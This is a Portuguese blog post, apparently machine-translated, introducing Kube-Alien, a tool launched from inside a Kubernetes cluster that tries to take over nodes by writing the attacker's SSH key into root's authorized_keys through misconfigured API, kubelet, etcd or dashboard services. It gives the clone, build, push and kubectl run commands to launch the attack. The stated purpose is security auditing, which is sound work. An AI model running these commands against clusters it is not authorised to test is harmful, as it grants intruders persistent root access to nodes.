Browse By

Kube-Alien – Ferramenta para lançar ataque ao cluster K8s

Essa ferramenta inicia o ataque ao cluster k8s de dentro. Isso significa que você já precisa ter um acesso com permissão para implantar pods em um cluster para executá-lo. Depois de executar o pod kube-alienígena que tenta takeover nós do cluster adicionando sua chave pública para arquivo /root/.ssh/authorized_keys do nó usando esta imagem https://github.com/nixwizard/dockercloud-authorizedkeys (pode ser ajustado usando ADD_AUTHKEYS_IMAGE param em config.py) bifurcado em docker / dockercloud-allowedkeys. O ataque é bem-sucedido se houver uma configuração incorreta em um dos componentes do cluster e seguir os seguintes vetores:

  • API do Kubernetes
  • Serviço Kubelet
  • Serviço etcd
  • Kubernetes-Dashboard

Qual é o objetivo desta ferramenta?

  • Ao fazer uma auditoria de segurança de um cluster k8s, é possível avaliar rapidamente sua postura de segurança.
  • Demonstração partical da exploração de vetores de ataque mencionados.

Como o cluster do k8s pode ser atacado por dentro na vida real?

  • Rentabilidade RCE ou SSRF em um aplicativo que está sendo executado em um dos pods do seu cluster.

Uso A
imagem alienígena do Kube deve ser enviada para o dockerhub (ou outro registro) antes de usar com esta ferramenta.

git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka

O env AUTHORIZED_KEYS deve ser definido como o valor da sua chave pública ssh; em caso de sucesso, a chave pública será adicionada ao arquivo raiz_autorizada_de_usuário autorizado de todos os nós.

kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

ou você pode usar minha imagem para fins de teste rápido :

kubectl run --image=nixwizard/kube-alien kube-alien:ka --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

Verifique os logs do pod Kube-alien para ver se o ataque foi bem-sucedido:

kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')

Os seguintes recursos me ajudaram bastante na criação dessa ferramenta

Baixar Kube-Alien

Deixe uma resposta

O seu endereço de email não será publicado. Campos obrigatórios marcados com *

Este site utiliza o Akismet para reduzir spam. Fica a saber como são processados os dados dos comentários.